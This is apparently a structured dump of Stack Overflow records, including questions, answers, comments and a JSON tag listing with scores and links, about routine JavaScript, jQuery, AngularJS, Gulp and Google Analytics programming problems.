has body: It is not stated explicitly in your question but I guess that budget is an observable; this.budget = ko.observable() Then budget in terms of javascript is not a number but a function. That is why visible binding does not show your element. You may want to review the documentation http://knockoutjs.com/documentation/observables.html In your case you have to use either : Values of budget observable in your binding Content Computed observable in your view model which would still be using budget() http://jsfiddle.net/LkqTU/18868/ This approach is typically considered superior because of better logic/view separation.
downvote count: 0
upvote count: 2
type: Answer
answers question: http://stackoverflow.com/q/25583767

http://stackoverflow.com/comment/40192024
has text: Please explain WTH these `new Function` things are necessary for. At least `f` could be completedly omitted, I'm not sure about `f2` but I guess it's not required as well. Please remove them from the code for simplification, or comment what they do (especially that one-liner in `f2`).
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25711565

http://stackoverflow.com/comment/40084921
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25652794
has text: I don't know about the JS library you are using but why not `.hide()` the `buildContainer` until after the `waterfall` method has been completed?
score: 0

http://stackoverflow.com/a/25623642
answers question: http://stackoverflow.com/q/25623415
score: 0
type: Answer
has body: Your function needs a parameter: function changestream1(parameter) { var streamInput; if(parameter == riotgames) { streamInput = riotgames; } else { streamInput = whatever; } //do something } Hope this helps.

http://stackoverflow.com/q/25561527
upvote count: 1
answer count: 1
favorite count: 0
type: UnansweredQuestion
has title: Moving data within Typed Arrays
has body: Are there any native methods to move data around within typed arrays? For example if I want to "remove" 4 elements from somewhere within the array and then shift everything after down 4 indexes (like memmove in C). Or would this have to be written in Javascript? What do you think would be the fastest/efficient way to do this?
has comment: http://stackoverflow.com/comment/39917539
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/39917375
type: Question
has answer: http://stackoverflow.com/a/25561892
tagged with: javascript
has comment: http://stackoverflow.com/comment/39917468

http://stackoverflow.com/q/25646494
tagged with: callback
favorite count: 0
has answer: http://stackoverflow.com/a/25646666
has body: I have a number of outbound links on a website which I'm hoping to track with Google Analytics (analytics.js). Google's docs on outbound link tracking are clear and the implementation they suggest works for me. The problem is with links that open in a new tab / window. Google suggests that the links be opened via a callback function which updates the document.location once the tracking event has been sent to GA. But this obviously won't open links in a new tab. And, crucially, using window.open instead seems to fall victim to popup blockers. This is Google's suggested implementation: &lt;script&gt; var trackOutboundLink = function(url) { ga('send', 'event', 'outbound', 'click', url, {'hitCallback': function () { document.location = url; } }); } &lt;/script&gt; I can simply omit the callback function and let the browser open the new tab but if I do that, Google says there's a chance the event won't get registered - and my tracking will be inaccurate.
has title: Google Analytics: how to track outbound links that open in a new tab?
has comment: http://stackoverflow.com/comment/40073279
upvote count: 4
type: AnsweredQuestion
downvote count: 0
type: Question
tagged with: google-analytics
tagged with: javascript
score: 4
accepted answer: http://stackoverflow.com/a/25646666
answer count: 1

http://stackoverflow.com/a/25699313
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/25699257
upvote count: 0
answers question: http://stackoverflow.com/q/25699257
has comment: http://stackoverflow.com/comment/40169597
has comment: http://stackoverflow.com/comment/40169908
has comment: http://stackoverflow.com/comment/40169923
has body: I recommend the "request" library for nodejs. the readme has a few examples for easy setup.
score: -2
downvote count: 2

http://stackoverflow.com/comment/40113842
comment on: http://stackoverflow.com/q/25667558
has text: "What have I done to mess it up?" - Would be impossible to say since I don't know in what way it's not working as desired. "can I just put it under the first line of code?" - Each line of code will be executed one after the other, so yes. "Also do I need to do anything to get my icon to show up and execute the code upon click?" - ?? Were you just hoping this would happen by magic? If you want to cause something to happen wouldn't it make sense you probably do need to do something?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/39993519
type: QuestionComment
comment on: http://stackoverflow.com/q/25602495
score: 0
has text: @MatthieuLobry the scripts need to go before the close of not after.
type: Comment

http://stackoverflow.com/comment/39927926
score: 1
has text: `obj.users.length` should work. Please show what `console.log(obj);` shows in the console
type: Comment
comment on: http://stackoverflow.com/q/25567346
type: QuestionComment

http://stackoverflow.com/q/25581464
has answer: http://stackoverflow.com/a/25581494
has answer: http://stackoverflow.com/a/25581504
type: Question
has comment: http://stackoverflow.com/comment/39954959
score: -2
tagged with: javascript
has title: How does join() work?
answer count: 3
has answer: http://stackoverflow.com/a/25581489
accepted answer: http://stackoverflow.com/a/25581494
upvote count: 0
has comment: http://stackoverflow.com/comment/39954919
favorite count: 0
has comment: http://stackoverflow.com/comment/39954962
has comment: http://stackoverflow.com/comment/39954923
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25581504
has body: I was doing a JS quiz and stumbled uppon this question. What does this function return? function Batman() { return Array(4).join("lol" - 2) + " Batman!"; } This actually happens to return NaNNaNNaN Batman! which i found rather funny. But why does it return exactly this? i mean it stores NaN 3 times and suddenly it skips that and puts batman in the final index. While afaik the exact same thing happens for each array index.
downvote count: 2
has comment: http://stackoverflow.com/comment/39954918

http://stackoverflow.com/comment/40077786
comment on: http://stackoverflow.com/q/25648328
score: 0
type: Comment
has text: I've added an update about the format of the date when comparing. I'm using Google Apps Script (which is technically javascript) so I can't post a jsfiddle link.
type: QuestionComment

http://stackoverflow.com/a/25704017
answers question: http://stackoverflow.com/q/25703558
upvote count: 1
type: AcceptedAnswer
downvote count: 0
type: Answer
has body: You need return id. $("input.typeahead").select2({ id: function(prod) { return prod.value; }, placeholder: "Buscar producto", minimumInputLength: 0, id: function(prod){ return "prod"; }, ajax: { url: Routing.generate('get_products'), dataType: 'json', quietMillis: 250, data: function(term, page) { return { filter: term, page: page }; }, results: function(data, page) { var more = (page * 30) &lt; data.total_count; return {results: data.items, more: more}; } }, formatResult: productFormatResult, formatSelection: productFormatSelection, escapeMarkup: function(m) { return m; }, formatNoResults: function() { return "No se encontraron productos para la palabra actual"; }, formatAjaxError: function() { return "No hay conexión con el servidor"; } });
accepted answer of: http://stackoverflow.com/q/25703558
score: 1

http://stackoverflow.com/q/25658504
downvote count: 0
has answer: http://stackoverflow.com/a/25658753
favorite count: 0
tagged with: rest
tagged with: angularjs
upvote count: 2
has body: I have a simple RESTful API set up using Django Rest Framework and I'm trying to use AngularJS to consume it. I've read about controllers and resources in angular and I'm following multiple tutorials, but for some reason in my template I can't seem to access the JSON properly. app.js var blogApp = angular.module('blogApp', ['ngResource']); blogApp.factory('Post', ['$resource', function($resource) { return $resource('/api/posts/:slug/', { slug:'@slug'}); }]); blogApp.controller('postController', ['$scope', 'Post', function($scope, Post) { $scope.posts = [] Post.query().$promise.then(function(posts) { $scope.posts = posts; for (key in posts){ console.log(posts[key]); } }); }]); index.html ****EDIT**** I added the filter here to test, and it does do the filtering as intended, but still no text shows up in the 's {{ post.title }} {{ post.content }} This is what is returned if I do a GET on /api/posts/ [ { "url": "http://localhost:8000/api/posts/i-had-a-api-his-name-was-bingo/", "id": 0, "title": "I had a api... his name was Bingo", "content": "E-I-E-I-O", "owner": "Heather", "comments": "http://localhost:8000/api/posts/i-had-a-api-his-name-was-bingo/comments/" }, { "url": "http://localhost:8000/api/posts/if-i-could-show-you-the-world/", "id": 1, "title": "If I Could Show You The World", "content": "It would be shining, and shimmering", "owner": "Heather", "comments": "http://localhost:8000/api/posts/if-i-could-show-you-the-world/comments/" }, ... ] In the template, all that shows up is a blank grey box (because of the bootstrap class) with no title or content from the posts, but the proper number of boxes do show up for the number of post objects. What am I missing? EDIT: the console shows no errors, and the GET request is returning 200 application/json. I have a console.log($scope.posts) which is printing out [Resource, Resource, Resource, Resource, Resource, Resource, Resource, $promise: Object, $resolved: true]. Also, for (key in $scope.posts){ console.log(posts[key]…
score: 2
type: AnsweredQuestion
has title: Can't consume REST API
linked to: http://stackoverflow.com/q/12729122
has answer: http://stackoverflow.com/a/25671719
has answer: http://stackoverflow.com/a/25659240
has comment: http://stackoverflow.com/comment/40095448
type: Question
accepted answer: http://stackoverflow.com/a/25671719
tagged with: javascript
tagged with: django-rest-framework
answer count: 3
possible better answer: http://stackoverflow.com/a/25658753

http://stackoverflow.com/comment/39945184
type: Comment
comment on: http://stackoverflow.com/a/25559067
type: AnswerComment
has text: yes i want to have in this case 5 images and replace each value with his image
score: 0

http://stackoverflow.com/a/25641557
type: Answer
has comment: http://stackoverflow.com/comment/40064460
downvote count: 0
has body: You need to set an id on the new DOM element for document.getElementById to use: document.write('&lt;input type="radio" name="AnswerA" id="AnswerA" /&gt;' + res.rows[jsonCounter][1]);
score: 3
has comment: http://stackoverflow.com/comment/40064776
upvote count: 3
has comment: http://stackoverflow.com/comment/40064219
answers question: http://stackoverflow.com/q/25641475
has comment: http://stackoverflow.com/comment/40064706

http://stackoverflow.com/a/25688806
downvote count: 0
type: AcceptedAnswer
score: 1
has comment: http://stackoverflow.com/comment/40149966
has comment: http://stackoverflow.com/comment/40149899
type: Answer
accepted answer of: http://stackoverflow.com/q/25688523
upvote count: 1
answers question: http://stackoverflow.com/q/25688523
has body: If you want to use the JavaScript native Date Object, you may want to look at its documentation first, especially the toISOString() method. var date = new Date("Tue Sep 02 00:00:00 GMT+200 2014"); var n = date.toISOString(); this returns: n: '2014-09-01T22:00:00.000Z' which is the right ISO format. Your initial time is GMT+2 so, in ISO time, it corresponds to the same date/time but two hours before. As it is the 2nd of Sept, 00:00:00, 2 hours before lead to the day before, the 1st of Sept, at 22:00:00. You can't have the 2014-09-02T00:00:00.000Z you want in your question because it is not corresponding to an ISO date. You can read more about ISO 8601 on Wikipedia.

http://stackoverflow.com/a/25760419
type: Answer
score: 0
has body: I've found a better and easier maintainable solution in my opinion. Simply do the following to achieve to-way data-binding between one (or more) controller(s) with a service: Lets assume you fetch (i.e. $http) and store data in your service (serviceName) in the variable serviceData. In your controller reference the service like this to achieve to-way data-binding: $scope.data = serviceName In your view/html bind to the data properties like this: &lt;input ng-model="data.serviceData.title"&gt; Thats it! :) When your serviceData variable updates the view/scope does as well. This will work with multiple controllers.
answers question: http://stackoverflow.com/q/25665336

http://stackoverflow.com/comment/39958684
type: Comment
has text: i mean it load the script in the dev-tools console !
comment on: http://stackoverflow.com/a/25583367
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40162030
score: 0
type: Comment
type: QuestionComment
has text: ` ` is deprecated. Use CSS `text-align: center` instead.
comment on: http://stackoverflow.com/q/25694943

http://stackoverflow.com/comment/40174759
type: Comment
has text: Indeed, you are correct. It only allows colours which I am using on my own website. Hopefully they will include this feature as it is a bit of a cludge to work around. In this scenario, it may be better to use two and change the opacity between the two or use the pure javascript approach.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25702218

http://stackoverflow.com/q/25668914
answer count: 2
has answer: http://stackoverflow.com/a/25670596
tagged with: http://stackoverflow.com/tag/html
favorite count: 0
has title: Add flaglike waving to 2d Context
has body: I want to make a function that displays a 2d context in a different way than usual. Sort of like the transform works. Instead of curving/changing the size of the context I want to make it wave-like. The idea is that this has to come from the context, not from the data image. No bit manipulation. A similar request is done here: How to distort an image to create flag waving in the wind effect using html5 canvas but with bit manipulation. The point is to increase performance by reducing bit manipulation. Edit: I need to make the same function that is described in the link (the one in above), with a little difference. The link is answered so you can understand what I mean. In the example, this is executed by bit manipulation. I want to make the same thing, but from the context's side. Like its done with the context.transform(..) function. example of the Context.transform function: http://www.html5canvastutorials.com/advanced/html5-canvas-custom-transform/ (you can change the tranfsorm function's parameters to get the effect) Hope that clears it up.
linked to: http://stackoverflow.com/q/4362248
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25669039
score: 3
downvote count: 0
has answer: http://stackoverflow.com/a/25669039
type: Question
tagged with: canvas
accepted answer: http://stackoverflow.com/a/25670596
tagged with: javascript
upvote count: 3

http://stackoverflow.com/a/25670058
score: 4
upvote count: 4
accepted answer of: http://stackoverflow.com/q/25669901
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25669901
type: Answer
has body: You can do this way: $('form').find('input:submit').before('&lt;input type="text"/&gt;') FIDDLE: http://jsfiddle.net/ehsansajjad465/r4o09rdd/

http://stackoverflow.com/q/25583454
type: Question
answer count: 2
score: 5
upvote count: 5
downvote count: 0
tagged with: javascript
tagged with: gulp
has answer: http://stackoverflow.com/a/25583653
favorite count: 0
type: UnansweredQuestion
has title: Gulp Livereload after ALL files have been compiled?
has body: I have a problem that I thought might be common to many people, but it seems I'm not right. So I hope someone can help, since I can't find the answer in the Gulp documents. Right now my gulpfile.js has the following content: 'use strict'; var gulp = require('gulp'); var jade = require('gulp-jade'); var gutil = require('gulp-util'); var stylus = require('gulp-stylus'); var jeet = require('jeet'); var nib = require('nib'); var uglify = require('gulp-uglify'); var livereload = require('gulp-livereload'); var sources = { jade: "jade/**/*.jade", partials: "partials/**/*.jade", stylus: "styl/**/*.styl", scripts: "js/**/*.js" }; // Define destinations object var destinations = { html: "dist/", css: "dist/css", js: "dist/js" }; // Compile and copy Jade gulp.task("jade", function(event) { return gulp.src(sources.jade) .pipe(jade({pretty: true})) .pipe(gulp.dest(destinations.html)) }); // Compile and copy Stylus gulp.task("stylus", function(event) { return gulp.src(sources.stylus).pipe(stylus({ use: [nib(), jeet()], import: [ 'nib', 'jeet' ], style: "compressed" })).pipe(gulp.dest(destinations.css)); }); // Minify and copy all JavaScript gulp.task('scripts', function() { gulp.src(sources.scripts) .pipe(uglify()) .pipe(gulp.dest(destinations.js)); }); // Server gulp.task('server', function () { var express = require('express'); var app = express(); app.use(require('connect-livereload')()); app.use(express.static(__dirname+'/dist/')); app.listen(4000, '0.0.0.0'); }); gulp.task('watch', function() { livereload.listen(); gulp.watch(sources.jade, ["jade"]); gulp.watch(sources.partials, ["jade"]); gulp.watch(sources.stylus, ["stylus"]); gulp.watch(sources.scripts, ["scripts"]); }); // Define default task gulp.task("default", ["jade", "stylus", "scripts", "server", "watch"], function(){ gulp.watch([ sources.jade, sources.partials, sources.stylus, sources.scripts, ]).on('change', function(event) { livereload.changed(); console.log('File', event.path, 'was', event.type); console.log('…
has answer: http://stackoverflow.com/a/25660448
tagged with: synchronous

http://stackoverflow.com/a/25678444
has comment: http://stackoverflow.com/comment/40175763
has comment: http://stackoverflow.com/comment/40176445
has body: Function: function moment(date){ var y = date.substring(0,4), m = date.substring(5,7), d = date.substring(8,10), newdate = new Date(y, m, d); return newdate.getTime(); } pickupdate_search = '2015-01-03'; returndate_search = '2015-01-07'; function FilterLenders() { console.log(lenders[0]); for (var n = 0; n &lt; lenders.length; n++) { inventories = lenders[n].inventories; lenders[n].inventories = jQuery.grep(inventories, function(inventory) { var is_valid, x = 0, requests = inventory.requests, l = requests.length; for (; x &lt; l; x++) { var pickupdate_request = moment(requests[x].pickupdate), returndate_request = moment(requests[x].returndate), return_search = moment(returndate_search), pickup_search = moment(pickupdate_search); if((pickup_search &gt;= pickupdate_request) &amp;&amp; (return_search &lt;= returndate_request)){ //dates completely overlap the item that had this request needs to be excluded is_valid = false; console.log('false'); break; }else{ console.log('true'); is_valid = true; } } return is_valid; }); } console.log(lenders[0]); //first object, 2-person tent, should not exist } FilterLenders();
has comment: http://stackoverflow.com/comment/40157093
type: Answer
answers question: http://stackoverflow.com/q/25678022
score: 0

http://stackoverflow.com/a/25638900
upvote count: 3
has comment: http://stackoverflow.com/comment/40097563
score: 3
has body: Try As Below. io.sockets.once('connection', function(socket) { io.sockets.emit('new-data', { channel: 'stdout', value: data }); }); Use once instead of on. This problem is similar as given in the following link. https://stackoverflow.com/questions/25601064/multiple-socket-io-connections-on-page-refresh/25601075#25601075
has comment: http://stackoverflow.com/comment/40083554
accepted answer of: http://stackoverflow.com/q/25635787
answers question: http://stackoverflow.com/q/25635787
type: AcceptedAnswer
downvote count: 0
type: Answer

http://stackoverflow.com/q/25589562
type: Question
has answer: http://stackoverflow.com/a/25725855
tagged with: philips-hue
tagged with: javascript
has comment: http://stackoverflow.com/comment/40127119
tagged with: bluetooth
answer count: 2
has comment: http://stackoverflow.com/comment/40120684
downvote count: 0
has body: I need to listen to the raw commands/keypresses that a bluetooth keyboard sends to my device and if possible, prevent them from 'propagating' to the rest of the system. Basically, I've written something with Node.js and coffee-script that receives keypresses from stdin and controls my Philips Hue lightbulbs. It looks something like this: keypress = require 'keypress' # Setup keypress events keypress process.stdin process.stdin.on 'keypress', (character, key) -&gt; switch character when 'l' then hue.decreaseTemp() when 'r' then hue.increaseTemp() when 'u' then hue.increaseBri() when 'd' then hue.decreaseBri() when 'b' then hue.turnOff() # Exit on ctrl-c if key?.ctrl and key.name is 'c' process.stdin.pause() It's functionality works, but it's not very useful as it receives input from stdin, preventing it from running in the background. What could I do to make this receive input without the window having focus? My preference is for something in Node.js or Python to run on my Mac, but I'm willing to switch languages or run on my Raspberry Pi if need be
tagged with: keyboard
favorite count: 0
score: 8
upvote count: 8
has comment: http://stackoverflow.com/comment/40064433
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39969595
has title: Listen to raw bluetooth keyboard data
tagged with: node.js
has comment: http://stackoverflow.com/comment/40055099
has comment: http://stackoverflow.com/comment/39971108
has answer: http://stackoverflow.com/a/25679460
has comment: http://stackoverflow.com/comment/40244521

http://stackoverflow.com/q/25694026
has answer: http://stackoverflow.com/a/25694345
tagged with: javascript
score: -1
possible better answer: http://stackoverflow.com/a/25694345
tagged with: html-table
has comment: http://stackoverflow.com/comment/40160011
answer count: 3
upvote count: 0
tagged with: jquery
has answer: http://stackoverflow.com/a/25694814
accepted answer: http://stackoverflow.com/a/25694145
favorite count: 0
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has body: I'm trying to set up menu using the css and a table: &lt;!DOCTYPE HTML&gt; &lt;html&gt; &lt;head&gt; &lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8"&gt; &lt;title&gt;MONITORING&lt;/title&gt; &lt;style type="text/css"&gt; .menutext { font-family: Tahoma, Geneva, sans-serif; font-size: 14px; } .headtext { font::"Palatino Linotype", "Book Antiqua", Palatino, serif; font-size: 36px; color: #003299; } table.menu { border: thin solid #000; background-color: #003299; text-align:center; font:"Palatino Linotype", "Book Antiqua", Palatino, serif; font-size:14px; color:#FFF; } table.menu td:hover { background-color:#FFF; text-align:center; font:"Palatino Linotype", "Book Antiqua", Palatino, serif; font-size:14px; color:#003299; } &lt;/style&gt; &lt;/head&gt; &lt;body&gt; &lt;table width="100%" border="0" align="center"&gt; &lt;tr&gt; &lt;td width="30%" height="147"&gt;&lt;img src="images/logo.png" width="300" height="128" align="left"&gt;&lt;/td&gt; &lt;td width="70%" align="center" valign="middle" class="headtext"&gt;MONITORING&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;br&gt; &lt;table class="menu" width="100%" height="22" align="center" id="menu"&gt; &lt;tr&gt; &lt;td width="25%"&gt;MON1&lt;/td&gt; &lt;td width="25%"&gt;MON2&lt;/td&gt; &lt;td width="25%"&gt;MON3&lt;/td&gt; &lt;td width="25%"&gt;MON4&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;/body&gt; &lt;/html&gt; I've been able to set up td:hover but I would like to be able to keep the hover setting when I have clicked on td. Additionally I would be grateful if you could let me know how to achieve that if mon1 has been chosen if i click mon2 the mon2 will change the css to a table.menu td:hover (or a new one created with the same properties) and mon1 will go back to the original css which is table.menu.
type: AnsweredQuestion
downvote count: 1
type: Question
has title: how can i change the css style on click with table
has answer: http://stackoverflow.com/a/25694145

http://stackoverflow.com/comment/40181953
comment on: http://stackoverflow.com/q/25706096
has text: That's not chrome, but the live shader editor of Firefox may also help you.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/57471139
type: Comment
has text: Yeah, they changed it since, you can have a look here https://www.parse.com/docs/cloudcode/guide#cloud-code-cloud-functions. There is an example for calling a Cloud Function in Cloud Code that also shows how to pass in parameters
comment on: http://stackoverflow.com/a/25557411
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40107046
type: AnswerComment
comment on: http://stackoverflow.com/a/25665384
type: Comment
has text: [Here's a fiddle](http://jsfiddle.net/vc0uxkdf/) that demonstrates the difference in behavior.
score: 0

http://stackoverflow.com/comment/39918371
has text: i don't know, maybe window.setInterval can help me, but i'm not understand how modificate window.setInterval to change date? Can you explain please
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25561162

http://stackoverflow.com/comment/40041622
type: AnswerComment
has text: Then perhaps the real problem of the original question-asker is the difference between "false" (string) and false (boolean). The string is of course not actually equal to the boolean false.
type: Comment
comment on: http://stackoverflow.com/a/25628457
score: 0

http://stackoverflow.com/tag/json
tags question: http://stackoverflow.com/q/25645046
tags question: http://stackoverflow.com/q/25634627
tags question: http://stackoverflow.com/q/25587820
tags question: http://stackoverflow.com/q/25574185
tags question: http://stackoverflow.com/q/25633036
tags question: http://stackoverflow.com/q/25659250
tags question: http://stackoverflow.com/q/25565113
tags question: http://stackoverflow.com/q/25551290
tags question: http://stackoverflow.com/q/25600706
tags question: http://stackoverflow.com/q/25613738
tags question: http://stackoverflow.com/q/25692812
tags question: http://stackoverflow.com/q/25583976
tags question: http://stackoverflow.com/q/25650384
tags question: http://stackoverflow.com/q/25559418
tags question: http://stackoverflow.com/q/25606129
tags question: http://stackoverflow.com/q/25590486
tags question: http://stackoverflow.com/q/25692258
tags question: http://stackoverflow.com/q/25590330
tags question: http://stackoverflow.com/q/25688459
tags question: http://stackoverflow.com/q/25609842
tags question: http://stackoverflow.com/q/25632518
tags question: http://stackoverflow.com/q/25636463
tags question: http://stackoverflow.com/q/25596475
tags question: http://stackoverflow.com/q/25691155
tags question: http://stackoverflow.com/q/25615313
tags question: http://stackoverflow.com/q/25607748
tags question: http://stackoverflow.com/q/25617691
tags question: http://stackoverflow.com/q/25666735
tags question: http://stackoverflow.com/q/25675836
tags question: http://stackoverflow.com/q/25620574
tags question: http://stackoverflow.com/q/25604719
tags question: http://stackoverflow.com/q/25593125
tags question: http://stackoverflow.com/q/25601130
tags question: http://stackoverflow.com/q/25693258
tags question: http://stackoverflow.com/q/25616664
tags question: http://stackoverflow.com/q/25588364
tags question: http://stackoverflow.com/q/25629105
tags question: http://stackoverflow.com/q/25711585
tags question: http://stackoverflow.com/q/25607931
tags question: http://stackoverflow.com/q/25665792
tags question: http://stackoverflow.com/q/25664294
tags question: http://stackoverflow.com/q/25576855
tags question: http://stackoverflow.com/q/25579954
tags question: http://stackoverflow.com/q/25589402
tags question: http://stackoverflow.com/q/25603217
tags question: http://stackoverflow.com/q/25583064
tags question: http://stackoverflow.com/q/25632954
tags question: http://stackoverflow.com/q/25630760
tags question: http://stackoverflow.com/q/25576010
tags question: http://stackoverflow.com/q/25564200
tags question: http://stackoverflow.com/q/25630519
tags question: http://stackoverflow.com/q/25582750
tags question: http://stackoverflow.com/q/25626326
tags question: http://stackoverflow.com/q/25702233
tags question: http://stackoverflow.com/q/25641160
tags question: http://stackoverflow.com/q/25609067
tags question: http://stackoverflow.com/q/25644694
tags question: http://stackoverflow.com/q/25632562
tags question: http://stackoverflow.com/q/25709535
tags question: http://stackoverflow.com/q/25620504
tags question: http://stackoverflow.com/q/25556103
tags question: http://stackoverflow.com/q/25694924
tags question: http://stackoverflow.com/q/25586391
tags question: http://stackoverflow.com/q/25610037
tags question: http://stackoverflow.com/q/25606161
tags question: http://stackoverflow.com/q/25593357
tags question: http://stackoverflow.com/q/25629350
type: Tag
tags question: http://stackoverflow.com/q/25596694
tags question: http://stackoverflow.com/q/25584898
tags question: http://stackoverflow.com/q/25693725
tags question: http://stackoverflow.com/q/25642762
tags question: http://stackoverflow.com/q/25701799
tags question: http://stackoverflow.com/q/25564218
tags question: http://stackoverflow.com/q/25628723
tags question: http://stackoverflow.com/q/25664016
tags question: http://stackoverflow.com/q/25691481
tags question: http://stackoverflow.com/q/25664883
tags question: http://stackoverflow.com/q/25573781
tags question: http://stackoverflow.com/q/25560623

http://stackoverflow.com/a/37242996
type: Answer
score: 13
upvote count: 13
has body: I found simple solution. Just force PreloadJS to use image loader, not SVGLoader. {src:"img/bg.svg", id:"bg", type: createjs.LoadQueue.IMAGE} Then you can convert it var bg = new createjs.Bitmap(loader.getResult('bg')); stage.addChild(bg);
downvote count: 0
answers question: http://stackoverflow.com/q/25608721

http://stackoverflow.com/comment/40007546
score: 0
type: QuestionComment
type: Comment
has text: @meda, no I mean using a PHP HMAC hash function to encode the forms input values, which prevents tampering with them prior to sending them to the checkout.
comment on: http://stackoverflow.com/q/25610037

http://stackoverflow.com/comment/40097394
type: AnswerComment
comment on: http://stackoverflow.com/a/25656776
score: 0
has text: This doesn't work because you cannot execute a `php` code on a `js` file. Think I should try to use AJAX referring to [client-side and server-side programming](http://stackoverflow.com/questions/13840429/what-is-the-difference-between-client-side-and-server-side-programming)
type: Comment

http://stackoverflow.com/q/25631332
downvote count: 1
has comment: http://stackoverflow.com/comment/40046480
tagged with: javascript
has comment: http://stackoverflow.com/comment/40046345
favorite count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40046386
has comment: http://stackoverflow.com/comment/40046413
tagged with: events
answer count: 0
has body: I have already checked some posts like event-listener-vs-event-handler and onclick-vs-event-handler comparing the two.. but not in the performance perspective. Of course using unobtrusive js is best practice but when it comes to performance? Imagine we have 100 elements to listen to; which one will perform faster and make our app light and not consume lot of memory? Click me or the event listener like in jQuery for example: $( "#target" ).click(function() { alert( "Handler for .click() called." ); }); UPDATE Lets imagine worst scenarios; we want to run our web app in cheap mobile phone with 256 MB of ram! Having to listen to many events will take some considerable space in the memory (I guess!) making the browser "slow" to respond.. but using the onclick option doesn't require the browser to cash all this events, but, fire them when needed (clicked). Would be great to see some test reports.
has comment: http://stackoverflow.com/comment/40046328
linked to: http://stackoverflow.com/q/3580785
type: Question
has comment: http://stackoverflow.com/comment/40046368
linked to: http://stackoverflow.com/q/6941483
tagged with: performance
score: 1
has title: Performance comparison; obtrusive onclick() vs event listeners
tagged with: memory
upvote count: 2
has comment: http://stackoverflow.com/comment/40046431
tagged with: unobtrusive-javascript

http://stackoverflow.com/comment/40993144
score: 0
type: AnswerComment
type: Comment
has text: No luck. No change under lib.
comment on: http://stackoverflow.com/a/25738105

http://stackoverflow.com/q/25618549
has title: include javascript files in marionette project
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25618705
tagged with: marionette
possible better answer: http://stackoverflow.com/a/38669515
has body: I have a marionette project, and I have my main js file which looks like: define(["marionette", "handlebars"], function(Marionette, Handlebars){ ... }); Now I want to make a structure of my big app. So I would like to separate the content of this function to different files. So how can I do something like: define(["marionette", "handlebars"], function(Marionette, Handlebars){ include routes.js include menu/model.js include menu/views.js ... }); I think require.js can help me, but I don't know how. Any ideas?
has answer: http://stackoverflow.com/a/38669515
score: 0
tagged with: requirejs
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25618705
type: Question
answer count: 2

http://stackoverflow.com/q/25579786
has title: Unable to make HTTP request synchronous inside jquery done
tagged with: http
type: Question
has comment: http://stackoverflow.com/comment/39951992
has comment: http://stackoverflow.com/comment/39952122
has comment: http://stackoverflow.com/comment/39952466
has body: So here is my code that I am working on to upload chunked files, I have a 2D array, each cell in the array is inturn another array which contains each files info and then followed by the actual file data, I am unable to make the http request as soon as the done function is entered, instead it is being called after the for loop is done executing. I am not able to find out a work around using IIFE and closures. Please guide. Here is the code: function chunkBinary(chunkFile){ var reader = new FileReader(); var deferred = $.Deferred(); reader.onloadend = (function(reader) { return function() { deferred.resolve(reader.result); } })(reader); reader.readAsBinaryString(chunkFile); console.log('returning chunk data as binary'); return deferred.promise(); } //changing screen and going to next step function showUploadProgress(){ //display the new body first with all files for (var i=0; i&lt;chunk.length; i++) { console.log('I is: ' + i); console.log(chunk[i]); globalfileSize = chunk[i][2]; //var fileType = chunk[i][2]; globalfileName = chunk[i][3]; globalChunkLen = chunk[i].length; var pctLoaded = 0; //call upload service on chunks (chunk[i][0..3] is file info) for(j=4; j &lt; chunk[i].length;j++){ console.log('entered for-loop 2 which loops over each chunk'); $.when(chunkBinary(chunk[i][j])) .done(function(result){ chunkInBinary = result; var md = configOptions.data.buildPrice.dataSource['uploadEquipmentPhotosDocuments'].$d($_QUOTES.obj_quote_info.quoteNumber, $_scope.equipInfo.summary.id); var chunkType = ''; if( j==4){ chunkType = 'First'; } else if( j == globalChunkLen-1) { chunkType = 'Last'; } else { chunkType = 'Middle'; } var data = {"file":chunkInBinary,"chunkType":chunkType,"fileName":globalfileName,"fileSize":globalfileSize}; console.log('making http request for chunk'); return $_http( {url: md, method: 'POST', data:JSON.stringify(data), headers: {'Content-Type': 'multipart/form-data'} }).success(function (data, status, headers, config) { console.log(j,i); console.l…
has comment: http://stackoverflow.com/comment/39952222
has comment: http://stackoverflow.com/comment/39951931
has comment: http://stackoverflow.com/comment/39952085
downvote count: 0
tagged with: javascript
tagged with: jquery
tagged with: deferred
favorite count: 0
has comment: http://stackoverflow.com/comment/39952012
has comment: http://stackoverflow.com/comment/39960779
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40036596
has comment: http://stackoverflow.com/comment/39952134
has comment: http://stackoverflow.com/comment/39951942
has comment: http://stackoverflow.com/comment/40048432
tagged with: asynchronous
score: 2
answer count: 0
upvote count: 2

http://stackoverflow.com/comment/39990705
comment on: http://stackoverflow.com/a/25598514
has text: @user3709279 i mean the callback fires if i listen to tap events. Do you agree with my above argument, because your code wouldn't work even for tap or any gesture not just for rotate.
type: AnswerComment
type: Comment
score: 0

http://stackoverflow.com/a/33567961
downvote count: 0
has comment: http://stackoverflow.com/comment/93108742
has comment: http://stackoverflow.com/comment/91718616
upvote count: 14
type: Answer
has comment: http://stackoverflow.com/comment/85826280
